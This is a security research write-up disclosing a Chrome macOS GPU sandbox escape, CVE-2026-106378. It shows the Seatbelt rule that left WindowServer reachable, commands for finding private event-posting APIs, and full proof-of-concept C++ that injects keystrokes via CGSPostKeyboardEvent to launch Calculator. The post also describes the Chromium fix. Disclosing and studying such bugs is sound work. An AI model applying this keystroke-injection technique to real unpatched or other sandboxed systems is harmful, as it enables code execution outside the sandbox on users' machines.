Back

CVE-2026-106378: Chrome GPU Sandbox Escape to RCE

PWNAI Research4m459
CVE-2026-106378: Chrome GPU Sandbox Escape to RCE

Chrome's macOS GPU sandbox allowed access to WindowServer. When Chrome is launched code running in the sandboxed GPU process could call CGSPostKeyboardEvent() and inject keystrokes into the desktop. The PoC opened Spotlight and launched Calculator outside the GPU sandbox but it pretty much can do anything else an RCE can do, such as opening Terminal and running commands.

The bug

The interesting line in Chrome's GPU sandbox profile was inside its mach-lookup allowlist:

(allow mach-lookup
  ; other services omitted
  (global-name "com.apple.windowserver.active")
  ; other services omitted
)

The GPU process needs WindowServer for graphics, so the exception has a good reason to exist. Seatbelt uses this rule to decide whether the process can look up the Mach service. It does not limit which WindowServer operation the process will attempt after it has a connection.

We checked the lookup from inside the GPU helper, after Chrome installed its Seatbelt profile:

mach_port_t port = MACH_PORT_NULL;
kern_return_t kr = bootstrap_look_up(
    bootstrap_port, "com.apple.windowserver.active", &port);
// kr == KERN_SUCCESS in the sandboxed GPU process

That gave us a route to WindowServer. The next question was what Apple exposed on that route.

Finding the private WindowServer API

The WindowServer client surface is much larger than the public Core Graphics API. Apple's SDK does not provide headers for most of the CGS* and SL* functions, but its .tbd stub files still list exported symbols. We searched those exports for connection and event-posting methods:

SDK="$(xcrun --show-sdk-path)"
rg -o '_CGS[A-Za-z0-9_]+' \
  "$SDK/System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics.tbd" \
  | sort -u | rg 'MainConnection|Post.*(Keyboard|Mouse|Event)'
rg -o '_SLS?[A-Za-z0-9_]+' \
  "$SDK/System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/SkyLight.tbd" \
  | sort -u | rg 'Post.*Event|PreflightPostEvent'

The useful hits included:

_CGSMainConnectionID
_CGSPostKeyboardEvent
_CGSPostMouseEvent
_SLPostKeyboardEvent
_SLPreflightPostEventAccess
_SLSPostEventRecord

The stubs give us names but no function signatures or authorization rules. We only needed the keyboard path. SLPreflightPostEventAccess was a useful hint that event posting had a separate authorization check. We compared launch modes even after the WindowServer lookup succeeded.

Although the SDK lists CGSPostKeyboardEvent API under CoreGraphics, resolving it through a SkyLight.framework API handle also worked. dlopen() also succeeded in the GPU process. the six-argument function pointer in the PoC let us send a hardware keycode and a key-down (1) or key-up (0) state:

post(connection_id, 0, keycode, 1, 0, 0); // key down
post(connection_id, 0, keycode, 0, 0, 0); // key up

bootstrap_look_up() tells us whether Seatbelt permits the service name. A nonzero CGSMainConnectionID() tells us SkyLight established a client connection. Neither says whether WindowServer will accept a keyboard event. The profile had granted access for graphics, but the same WindowServer connection could carry an input operation.

The same audit applies to other sandboxed apps: look for com.apple.windowserver.active in the final child profile, then test CGSPostKeyboardEvent from inside that child under its real launch context, if Accessibility permission is enabled or can be requested by the app (usually true), this will work.

PoC

The PoC assumes native code execution in the GPU helper. We patched content/gpu/gpu_main.cc and called the verifier after InitializeAndStartSandbox(), PostSandboxInitialized(), and the GPU HangWatcher startup. The keyboard calls therefore ran under Chrome's live GPU Seatbelt profile:

// In GpuMain(), after sandbox initialization and HangWatcher startup:
#if BUILDFLAG(IS_MAC)
RunWindowServerPoC();
#endif

The event-posting core of the verifier, with logging removed, was:

#include <dlfcn.h>
#include <unistd.h>

using CGSConnectionID = int;
using MainConnection = CGSConnectionID (*)();
using PostKeyboardEvent = int (*)(CGSConnectionID,
                                 unsigned short, unsigned short,
                                 int, int, int);

void RunWindowServerPoC() {
  void* skylight = dlopen(
      "/System/Library/PrivateFrameworks/SkyLight.framework/SkyLight",
      RTLD_LAZY);
  if (!skylight) return;

  auto connection = reinterpret_cast<MainConnection>(
      dlsym(skylight, "CGSMainConnectionID"));
  auto post = reinterpret_cast<PostKeyboardEvent>(
      dlsym(skylight, "CGSPostKeyboardEvent"));
  if (!connection || !post) return;

  CGSConnectionID c = connection();
  if (!c) return;

  auto down = [&](unsigned short code) { post(c, 0, code, 1, 0, 0); };
  auto up   = [&](unsigned short code) { post(c, 0, code, 0, 0, 0); };

  sleep(4);
  down(55);                    // Command
  usleep(20000);
  down(49);                    // Space: open Spotlight
  usleep(20000);
  up(49);
  usleep(20000);
  up(55);
  usleep(800000);

  // "Calculator" on a US keyboard layout.
  const unsigned short keys[] = {8, 0, 37, 8, 32, 37, 0, 17, 31, 15};
  for (auto code : keys) {
    down(code);
    usleep(15000);
    up(code);
    usleep(25000);
  }
  usleep(800000);
  down(36);                    // Return
  usleep(20000);
  up(36);
}

The CGSPostKeyboardEvent() signature is private and undocumented. The PoC uses the six-argument ABI that worked on the tested build. Keycodes 55, 49, and 36 are Command, Space, and Return; the ten-element array spells Calculator on a US keyboard layout. The short sleeps hold each key long enough to register. The two 800 ms pauses let Spotlight open and populate its result before Return is pressed.

Build the patched Chromium and launch its executable directly from Terminal for easy repo for Chrome < 155:

autoninja -C out/Default chrome
killall Calculator 2>/dev/null || true
out/Default/chrome --no-first-run --user-data-dir=/tmp/gpu-poc \
  'data:text/html,<h1>PoC</h1>'

The data: page is just there to start Chrome; it is not an exploit payload. In the GPU verifier, the command line included --type=gpu-process and --seatbelt-client. system("true") returned 32512, consistent with a shell launch failing after sandbox setup. The WindowServer lookup returned kr=0x0, dlopen(SkyLight) succeeded, and CGSMainConnectionID() returned 1202987 in the recorded run.

Spotlight received the synthetic sequence and Calculator opened as a separate process under launchd, rather than as a child spawned by the GPU helper. The sandboxed process could not launch the app directly in this test, but it could cause the desktop to do it through WindowServer.

Fix

Chromium's patch makes the GPU child disclaim inherited TCC responsibility:

bool DisclaimResponsibility() override {
  return base::FeatureList::IsEnabled(
             kMacDisclaimGpuTccResponsibility) &&
         !base::IsCurrentProcessSelfResponsible();
}

The patch leaves the WindowServer lookup in gpu.sb but prevents the GPU child from using the authorized parent's TCC context in the affected launch path. It shipped in Chrome 155 as CVE-2026-106378.

Thank you for coming to our ted talk. more soon!

CVE-2026-106378: Chrome GPU Sandbox Escape to RCE | PWN.AI Security Research